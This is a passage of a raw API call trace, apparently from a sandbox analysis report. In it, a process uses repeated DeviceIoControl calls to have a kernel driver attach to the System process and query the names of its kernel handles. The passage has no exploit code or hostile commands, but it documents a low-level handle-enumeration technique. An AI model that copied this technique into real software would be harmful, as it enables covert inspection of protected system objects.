ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.047] ObfDereferenceObject (Object=0xfffffa8002eee850) returned 0x1 [0135.047] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.047] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.047] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.047] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0135.047] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.047] PsAcquireProcessExitSynchronization () returned 0x0 [0135.047] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.047] ObReferenceObjectByHandle (in: Handle=0xffffffff80000218, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002ff3570, HandleInformation=0x0) returned 0x0 [0135.047] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.047] PsReleaseProcessExitSynchronization () returned 0x2 [0135.047] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.047] ObQueryNameString (in: Object=0xfffffa8002ff3570, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.047] ObfDereferenceObject (Object=0xfffffa8002ff3570) returned 0x11 [0135.047] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.047] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.047] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.047] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0135.047] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.047] PsAcquireProcessExitSynchronization () returned 0x0 [0135.047] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.047] ObReferenceObjectByHandle (in: Handle=0xffffffff80000264, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8009f01960, HandleInformation=0x0) returned 0x0 [0135.047] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.048] PsReleaseProcessExitSynchronization () returned 0x2 [0135.048] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.048] ObQueryNameString (in: Object=0xfffffa8009f01960, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.048] ObfDereferenceObject (Object=0xfffffa8009f01960) returned 0x1 [0135.048] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.048] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.048] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.048] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0135.048] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.048] PsAcquireProcessExitSynchronization () returned 0x0 [0135.048] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.048] ObReferenceObjectByHandle (in: Handle=0xffffffff80000274, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800308a050, HandleInformation=0x0) returned 0x0 [0135.048] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.048] PsReleaseProcessExitSynchronization () returned 0x2 [0135.048] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.048] ObQueryNameString (in: Object=0xfffffa800308a050, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.048] ObfDereferenceObject (Object=0xfffffa800308a050) returned 0x1 [0135.048] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.048] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.048] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.048] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0135.048] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.048] PsAcquireProcessExitSynchronization () returned 0x0 [0135.048] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.048] ObReferenceObjectByHandle (in: Handle=0xffffffff8000027c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8009f01640, HandleInformation=0x0) returned 0x0 [0135.048] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.048] PsReleaseProcessExitSynchronization () returned 0x2 [0135.048] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.048] ObQueryNameString (in: Object=0xfffffa8009f01640, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.048] ObfDereferenceObject (Object=0xfffffa8009f01640) returned 0x1 [0135.048] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.048] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.049] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.049] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0135.049] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.049] PsAcquireProcessExitSynchronization () returned 0x0 [0135.049] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.049] ObReferenceObjectByHandle (in: Handle=0xffffffff80000280, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8009f01320, HandleInformation=0x0) returned 0x0 [0135.049] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.049] PsReleaseProcessExitSynchronization () returned 0x2 [0135.049] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.049] ObQueryNameString (in: Object=0xfffffa8009f01320, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.049] ObfDereferenceObject (Object=0xfffffa8009f01320) returned 0x1 [0135.049] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.049] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.049] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.049] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0135.049] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.049] PsAcquireProcessExitSynchronization () returned 0x0 [0135.049] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.049] ObReferenceObjectByHandle (in: Handle=0xffffffff80000284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030a9e50, HandleInformation=0x0) returned 0x0 [0135.049] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.049] PsReleaseProcessExitSynchronization () returned 0x2 [0135.049] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.049] ObQueryNameString (in: Object=0xfffffa80030a9e50, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.049] ObfDereferenceObject (Object=0xfffffa80030a9e50) returned 0x1 [0135.049] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.049] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.049] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.049] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0135.049] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.049] PsAcquireProcessExitSynchronization () returned 0x0 [0135.049] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.049] ObReferenceObjectByHandle (in: Handle=0xffffffff80000294, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800308c170, HandleInformation=0x0) returned 0x0 [0135.050] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.050] PsReleaseProcessExitSynchronization () returned 0x2 [0135.050] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.050] ObQueryNameString (in: Object=0xfffffa800308c170, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.050] ObfDereferenceObject (Object=0xfffffa800308c170) returned 0x1 [0135.050] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.050] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.050] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.050] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0135.050] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.050] PsAcquireProcessExitSynchronization () returned 0x0 [0135.050] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.050] ObReferenceObjectByHandle (in: Handle=0xffffffff80000298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030a9050, HandleInformation=0x0) returned 0x0 [0135.050] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.050] PsReleaseProcessExitSynchronization () returned 0x2 [0135.050] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.050] ObQueryNameString (in: Object=0xfffffa80030a9050, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.050] ObfDereferenceObject (Object=0xfffffa80030a9050) returned 0x1 [0135.050] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.050] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.050] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.050] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0135.050] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.050] PsAcquireProcessExitSynchronization () returned 0x0 [0135.050] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.050] ObReferenceObjectByHandle (in: Handle=0xffffffff8000029c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030a9cf0, HandleInformation=0x0) returned 0x0 [0135.050] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.050] PsReleaseProcessExitSynchronization () returned 0x2 [0135.050] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.050] ObQueryNameString (in: Object=0xfffffa80030a9cf0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.050] ObfDereferenceObject (Object=0xfffffa80030a9cf0) returned 0x1 [0135.050] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.051] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.051] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.051] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xf6, lpOverlapped=0x0) returned 1 [0135.051] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.051] PsAcquireProcessExitSynchronization () returned 0x0 [0135.051] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.051] ObReferenceObjectByHandle (in: Handle=0xffffffff800002b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002c27aa0, HandleInformation=0x0) returned 0x0 [0135.051] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.051] PsReleaseProcessExitSynchronization () returned 0x2 [0135.051] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.051] ObQueryNameString (in: Object=0xfffffa8002c27aa0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0135.051] ObfDereferenceObject (Object=0xfffffa8002c27aa0) returned 0x2 [0135.051] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.051] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.051] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.051] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0135.051] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.051] PsAcquireProcessExitSynchronization () returned 0x0 [0135.051] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.051] ObReferenceObjectByHandle (in: Handle=0xffffffff800002d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030d6f20, HandleInformation=0x0) returned 0x0 [0135.051] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.051] PsReleaseProcessExitSynchronization () returned 0x2 [0135.051] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.051] ObQueryNameString (in: Object=0xfffffa80030d6f20, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.051] ObfDereferenceObject (Object=0xfffffa80030d6f20) returned 0x2 [0135.051] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.051] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.051] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.051] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x9c, lpOverlapped=0x0) returned 1 [0135.051] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.052] PsAcquireProcessExitSynchronization () returned 0x0 [0135.052] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.052] ObReferenceObjectByHandle (in: Handle=0xffffffff800002d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030dd070, HandleInformation=0x0) returned 0x0 [0135.052] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.052] PsReleaseProcessExitSynchronization () returned 0x2 [0135.052] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.052] ObQueryNameString (in: Object=0xfffffa80030dd070, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.052] ObfDereferenceObject (Object=0xfffffa80030dd070) returned 0x1 [0135.052] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.052] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.052] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.052] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0135.052] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.052] PsAcquireProcessExitSynchronization () returned 0x0 [0135.052] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.052] ObReferenceObjectByHandle (in: Handle=0xffffffff800002dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030dda80, HandleInformation=0x0) returned 0x0 [0135.052] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.052] PsReleaseProcessExitSynchronization () returned 0x2 [0135.052] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.052] ObQueryNameString (in: Object=0xfffffa80030dda80, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.052] ObfDereferenceObject (Object=0xfffffa80030dda80) returned 0x1 [0135.052] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.052] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.052] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.052] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0135.052] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.052] PsAcquireProcessExitSynchronization () returned 0x0 [0135.052] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.052] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030dd7e0, HandleInformation=0x0) returned 0x0 [0135.052] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.052] PsReleaseProcessExitSynchronization () returned 0x2 [0135.052] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.052] ObQueryNameString (in: Object=0xfffffa80030dd7e0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.052] ObfDereferenceObject (Object=0xfffffa80030dd7e0) returned 0x1 [0135.052] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.053] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.053] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.053] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x140, lpOverlapped=0x0) returned 1 [0135.053] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.053] PsAcquireProcessExitSynchronization () returned 0x0 [0135.053] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.053] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800f8cfbe0, HandleInformation=0x0) returned 0x0 [0135.053] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.053] PsReleaseProcessExitSynchronization () returned 0x2 [0135.053] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.053] ObQueryNameString (in: Object=0xfffffa800f8cfbe0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.053] ObfDereferenceObject (Object=0xfffffa800f8cfbe0) returned 0x2 [0135.053] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.053] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.053] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.053] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, 